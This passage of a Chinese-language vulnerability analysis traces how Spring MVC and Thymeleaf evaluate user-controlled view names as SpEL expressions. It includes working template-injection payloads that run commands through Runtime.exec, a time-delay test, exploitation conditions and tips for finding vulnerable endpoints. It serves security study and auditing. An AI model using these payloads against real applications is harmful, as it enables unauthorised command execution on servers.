throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
} else {
handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
}
}
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
mavContainer.setViewName(viewName);
// 如果redirect:开头, 设置重定向的属性
if (this.isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
} else if (returnValue != null) {
throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
}
}
|
回到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod
, 进入result = this.getModelAndView(mavContainer, modelFactory, webRequest);
获取ModelAndView
对象

最后回到DispatcherServlet#doDispatch
方法, 得到模型和视图
执行interceptors#postHandle
mappedHandler.applyPostHandle(processedRequest, response, mv);
1
2
3
4
5
6
7
8
9
10
|
void applyPostHandle(HttpServletRequest request, HttpServletResponse response, @Nullable ModelAndView mv) throws Exception {
HandlerInterceptor[] interceptors = this.getInterceptors();
if (!ObjectUtils.isEmpty(interceptors)) {
for(int i = interceptors.length - 1; i >= 0; --i) {
HandlerInterceptor interceptor = interceptors[i];
interceptor.postHandle(request, response, this.handler, mv);
}
}
}
|
遍历执行拦截器 postHandle, 与pre一致
执行模板渲染
this.processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
private void processDispatchResult(HttpServletRequest request, HttpServletResponse response, @Nullable HandlerExecutionChain mappedHandler, @Nullable ModelAndView mv, @Nullable Exception exception) throws Exception {
boolean errorView = false;
if (exception != null) {
if (exception instanceof ModelAndViewDefiningException) {
this.logger.debug("ModelAndViewDefiningException encountered", exception);
mv = ((ModelAndViewDefiningException)exception).getModelAndView();
} else {
Object handler = mappedHandler != null ? mappedHandler.getHandler() : null;
mv = this.processHandlerException(request, response, handler, exception);
errorView = mv != null;
}
}
if (mv != null && !mv.wasCleared()) {
this.render(mv, request, response);
//...
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
// 设置区域信息
Locale locale = this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale();
response.setLocale(locale);
// 获取视图名称
String viewName = mv.getViewName();
View view;
// 如果 ModelAndView (mv) 包含视图名称, 则通过 resolveViewName 方法解析为 View 对象
if (viewName != null) {
// 获取视图对象
view = this.resolveViewName(viewName, mv.getModelInternal(), locale, request);
if (view == null) {
throw new ServletException("Could not resolve view with name '" + mv.getViewName() + "' in servlet with name '" + this.getServletName() + "'");
}
}
// ...
// 渲染视图
try {
if (mv.getStatus() != null) {
response.setStatus(mv.getStatus().value());
}
// 调用 view.render 方法,将模型数据渲染到视图中
view.render(mv.getModelInternal(), request, response);
// ...
}
|
调用view.render(mv.getModelInternal(), request, response);
ThymeleafView#renderFragment
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
// 获取 templateName(模板名称)、templateEngine(模板引擎)等必要属性
ServletContext servletContext = this.getServletContext();
String viewTemplateName = this.getTemplateName();
ISpringTemplateEngine viewTemplateEngine = this.getTemplateEngine();
if (viewTemplateName == null) {
throw new IllegalArgumentException("Property 'templateName' is required");
} else if (this.getLocale() == null) {
throw new IllegalArgumentException("Property 'locale' is required");
} else if (viewTemplateEngine == null) {
throw new IllegalArgumentException("Property 'templateEngine' is required");
} else {
// 创建 mergedModel,将以下内容合并到模型中:静态变量(getStaticVariables)、路径变量(从 request 中获取)、传入的 model 数据
Map<String, Object> mergedModel = new HashMap(30);
Map<String, Object> templateStaticVariables = this.getStaticVariables();
if (templateStaticVariables != null) {
mergedModel.putAll(templateStaticVariables);
}
if (pathVariablesSelector != null) {
Map<String, Object> pathVars = (Map)request.getAttribute(pathVariablesSelector);
if (pathVars != null) {
mergedModel.putAll(pathVars);
}
}
if (model != null) {
mergedModel.putAll(model);
}
// 上下文对象的创建
ApplicationContext applicationContext = this.getApplicationContext();
RequestContext requestContext = new RequestContext(request, response, this.getServletContext(), mergedModel);
SpringWebMvcThymeleafRequestContext thymeleafRequestContext = new SpringWebMvcThymeleafRequestContext(requestContext, request);
addRequestContextAsVariable(mergedModel, "springRequestContext", requestContext);
addRequestContextAsVariable(mergedModel, "springMacroRequestContext", requestContext);
mergedModel.put("thymeleafRequestContext", thymeleafRequestContext);
ConversionService conversionService = (ConversionService)request.getAttribute(ConversionService.class.getName());
// 用于支持 Spring 的转换服务
ThymeleafEvaluationContext evaluationContext = new ThymeleafEvaluationContext(applicationContext, conversionService);
mergedModel.put("thymeleaf::EvaluationContext", evaluationContext);
IEngineConfiguration configuration = viewTemplateEngine.getConfiguration();
// 这是 Thymeleaf 渲染模板时的上下文
WebExpressionContext context = new WebExpressionContext(configuration, request, response, servletContext, this.getLocale(), mergedModel);
String templateName;
Set<String> markupSelectors;
if (!viewTemplateName.contains("::")) {
templateName = viewTemplateName;
markupSelectors = null;
} else {
// 如果模板名称包含 ::,则解析为模板片段(FragmentExpression)
IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
// ...
|
在renderFragment
中存在一个判断, 如果viewTemplateName
中包含::就会进到else逻辑, 就可以解析表达式fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
, 可以看到, 解析的是SPEL表达式, 也就是上面Thymeleaf说的片段表达式

org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(IExpressionContext context, String input, boolean preprocess)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
// 从上下文中获取引擎配置
IEngineConfiguration configuration = context.getConfiguration();
// 如果 preprocess 为 true,调用 StandardExpressionPreprocessor.preprocess 方法对输入进行预处理;否则直接使用原始输入
String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
// 从缓存中尝试获取解析后的表达式。如果缓存中存在,直接返回。
IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
if (cachedExpression != null) {
return cachedExpression;
} else {
// 解析表达式字符串
Expression expression = Expression.parse(preprocessedInput.trim());
// ...
}
|
查看StandardExpressionPreprocessor.preprocess
, 这里对输入进行了预处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
final class StandardExpressionPreprocessor {
private static final char PREPROCESS_DELIMITER = '_';
private static final String PREPROCESS_EVAL = "\\_\\_(.*?)\\_\\_";
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);
static String preprocess(IExpressionContext context, String input) {
// 如果 input 中不包含字符 _ ,直接返回原始输入字符串,表示无需处理(就是对应语法的预处理)
if (input.indexOf(95) == -1) {
return input;
} else {
// 获取表达式解析器
IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
// 检测解析器类型
if (!(expressionParser instanceof StandardExpressionParser)) {
return input;
} else {
// 匹配input内容, 提取__ __之间的内容
Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
if (!matcher.find()) {
// 对输入字符串进行转义检查后返回
return checkPreprocessingMarkUnescaping(input);
} else {
// 如果找到就使用 StringBuilder 构建结果字符串
StringBuilder strBuilder = new StringBuilder(input.length() + 24);
int curr = 0;
do {
// 提取匹配项前的文本并进行转义检查
String previousText = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
// 提取匹配的表达式内容并进行转义检查
String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
strBuilder.append(previousText);
// 再次调用parseExpression解析表达式, 只是这次不用再预处理了
IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
if (expression == null) {
return null;
}
// 执行解析后的表达式,获取结果,并将结果追加到 StringBuilder 中。
Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
strBuilder.append(result);
curr = matcher.end(0);
} while(matcher.find());
String remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
strBuilder.append(remaining);
return strBuilder.toString().trim();
}
}
}
}
|
在StandardExpressionParser.parseExpression(context, expressionText, false);
对__ __中的字符又进行了解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
// 解析输入字符串并返回一个 Expression 对象
static Expression parse(String input) {
Validate.notNull(input, "Input cannot be null");
// 对输入字符串进行分解,返回一个 ExpressionParsingState 对象,表示分解后的状态。
ExpressionParsingState decomposition = ExpressionParsingUtil.decompose(input);
if (decomposition == null) {
return null;
} else {
// 将分解状态重新组合成一个新的 ExpressionParsingState 对象。
ExpressionParsingState result = ExpressionParsingUtil.compose(decomposition);
// 检查组合结果是否不为 null,并且是否在索引 0 处存在表达式
return result != null && result.hasExpressionAt(0) ? ((ExpressionParsingNode)result.get(0)).getExpression() : null;
}
}
|
返回表达式后, 通过expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
执行表达式
调用execute->SimpleExpression.executeSimple(context, (SimpleExpression)expression, expressionEvaluator, expContext);->VariableExpression.executeVariableExpression(context, (VariableExpression)expression, expressionEvaluator, expContext);->SPELVariableExpressionEvaluator.evaluate(IExpressionContext context, IStandardVariableExpression expression, StandardExpressionExecutionContext expContext)
调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
exec:315, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
execute:130, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:139, MethodReference (org.springframework.expression.spel.ast)
getValueInternal:95, MethodReference (org.springframework.expression.spel.ast)
getValueRef:61, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
createNewInstance:114, ConstructorReference (org.springframework.expression.spel.ast)
getValueInternal:100, ConstructorReference (org.springframework.expression.spel.ast)
getValueRef:55, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:330, SpelExpression (org.springframework.expression.spel.standard)
evaluate:263, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:278, ThymeleafView (org.thymeleaf.spring5.view)
render:189, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:861, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1579, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1136, ThreadPoolExecutor (java.util.concurrent)
run:635, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:842, Thread (java.lang)
|
解析流程小结
主要还是上面5个步骤, 入口点都是在org.springframework.web.servlet.DispatcherServlet#doDispatch
方法中, 负责处理 HTTP 请求并将其分发到适当的处理器.
mappedHandler = this.getHandler(processedRequest);
: 根据当前请求, 从 HandlerMapping
(用于将请求 URL 映射到具体的处理器) 中找到对应的处理器(HandlerExecutionChain)。
HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
: 获取与处理器匹配的 HandlerAdapter, 用于将不同类型的处理器(如控制器方法、注解控制器等)统一处理.
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
: 调用 HandlerAdapter 的 handle 方法, 执行处理器逻辑, 并返回一个 ModelAndView 对象。也就是Controller中的return值.
this.applyDefaultViewName(processedRequest, mv);
: 对当前ModelAndView做判断, 如果为null则进入defalutViewName部分处理, 将URI path
作为mv的值
this.processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
: 处理视图并解析执行表达式以及抛出异常回显部分处理
所以导致这个漏洞的原因就是把用户可控值(参数/URI)当作viewName, 经过Spring MVC解析流程之后, 在渲染时使用ThymeleafView
, 把构造的预处理片段进行SPEL解析导致的漏洞.
-
代码中添加__
就是为了进入其片段表达式处理分支;

-
添加::
就是为了预处理执行完命令返回到片段表达式再次解析~{templateName::fragmentSelector}~
时不会因为找不到fragmentSelector
而不能回显;
-
添加.xxxx
的目的是因为在Controller不返回视图的时候, 解析器会从URI中获取默认的视图, 但是在其解析转换的时候会将.
的后缀进行删除, 但是poc中也有.
所以需要在最后多一个.

poc分析
1
2
3
|
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.xxxx
__${T(java.lang.Thread).sleep(10000)}__::...
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::...
|
POC最后面.x
, 前面的解析流程没看到处理。
利用条件
-
不使用@ResponseBody
注解或者RestController
注解
例如:
1
2
3
4
5
|
@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
return "welcome :: " + section;
}
|
-
模板名称由redirect:
或forward:
开头(不走ThymeleafView
渲染)即无法利用
例如:
1
2
3
|
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url;
|
-
参数中有HttpServletResponse
, 设置为HttpServletResponse
, Spring认为它已经处理了HTTP Response, 因此不会发生视图名称解析。
例如:
1
2
3
4
|
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}
|
redirect和forward无法利用原因
与前面的区别就是获取到model和view的后, 渲染模版的时候, 获取的view类型不一致, 导致后续分支发生变化

从viewName
获取为redirect
和forward
机返回一个RedirectView
或InternalResourceView
, 这里就不会走ThymeleafView
解析。
无法回显问题
1
2
3
4
5
6
7
8
9
10
|
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
|
可以发现fragment
方法使用回显POC没法回显
这时因为在预处理完之后, 我们的input变为了~{welcome :: uid=501(lnhsec)::.x}
, 我们的结果在::
之后


然后将其分割为了templateName::fragmentSelector
有回显的:

fragment中payload前面有::
, 所以payload在selector位置, 这里会抛异常, 导致没法回显成功。
而在templatename
位置不会
Path URI
1
2
3
4
5
6
|
//GET /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()%7d__::.x
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
|
这时返回值为空, 并没有返回视图名, 这就对应上面说过的doDispatch中的this.applyDefaultViewName(processedRequest, mv);
(分配默认视图), 此时的视图名会从 URI 中获取, 实现的代码在org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#getViewName
中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return this.prefix + this.transformPath(lookupPath) + this.suffix;
}
@Nullable
protected String transformPath(String lookupPath) {
String path = lookupPath;
if (this.stripLeadingSlash && lookupPath.startsWith("/")) {
path = lookupPath.substring(1);
}
if (this.stripTrailingSlash && path.endsWith("/")) {
path = path.substring(0, path.length() - 1);
}
if (this.stripExtension) {
path = StringUtils.stripFilenameExtension(path);
}
if (!"/".equals(this.separator)) {
path = StringUtils.replace(path, "/", this.separator);
}
return path;
}
public static String stripFilenameExtension(String path) {
int extIndex = path.lastIndexOf(46);
if (extIndex == -1) {
return path;
} else {
int folderIndex = path.lastIndexOf("/");
return folderIndex > extIndex ? path : path.substring(0, extIndex);
}
}
|

stripFilenameExtension
方法会把.
后面的内容给截断掉。因为poc中也含有, 所以需要在URI末尾添加.
。

后续流程类似
查找漏洞
黑盒:更换主题等页面打payload
切换 主题/背景 的功能区, 将参数改为 payload
白盒
模板参数外部可控
-
查看所有的模板文件名称 假设 index.html 开始
-
正则搜索控制器return.*?\".*?index
模板名称

查看该接口中 welcome 参数, 是不是外部可控, 并且符合利用条件
因为模板文件也不会很多吗, 所以可以这样去白盒审计这个漏洞。
查找含参数@GetMapping路由 无return
先正则@GetMapping\(.*?\)\s*public\s+void

poc变形
根据上文可以知道
-
如果后端中已有::
, poc则可以不加, ::
的目的就是为了进行判断处理, ::
的前后只是有无回显的区别
-
除了Path URI
方式需要在最后添加.xxx
, 其他时候可以不用添加
1
2
3
4
5
|
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::
::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__
|
参考
https://developer.aliyun.com/article/769977
https://xz.aliyun.com/news/9962#toc-5
https://www.cnblogs.com/nice0e3/p/16212784.html#path-uri
https://www.freebuf.com/articles/web/346228.html
https://www.anquanke.com/post/id/254519#h3-9
https://github.com/veracode-research/spring-view-manipulation/
https://xz.aliyun.com/news/9281#toc-1